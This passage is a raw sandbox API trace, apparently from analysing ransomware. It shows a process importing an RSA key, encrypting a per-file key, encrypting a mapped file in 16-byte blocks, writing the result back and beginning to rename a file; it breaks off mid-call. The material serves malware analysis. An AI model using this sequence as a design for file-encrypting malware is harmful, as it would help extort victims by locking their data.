CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0120.335] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.335] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.335] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.335] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0120.335] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fb, lpName=0x0) returned 0x288 [0120.335] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5fb) returned 0x1480000 [0120.335] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0120.336] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0120.336] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.336] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.337] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.338] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.339] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.340] CryptDestroyKey (hKey=0x16394e8) returned 1 [0120.340] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0120.340] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5fb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.340] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.341] GetProcessHeap () returned 0x1600000 [0120.341] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16cb1a0 [0120.341] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk" (normalized: 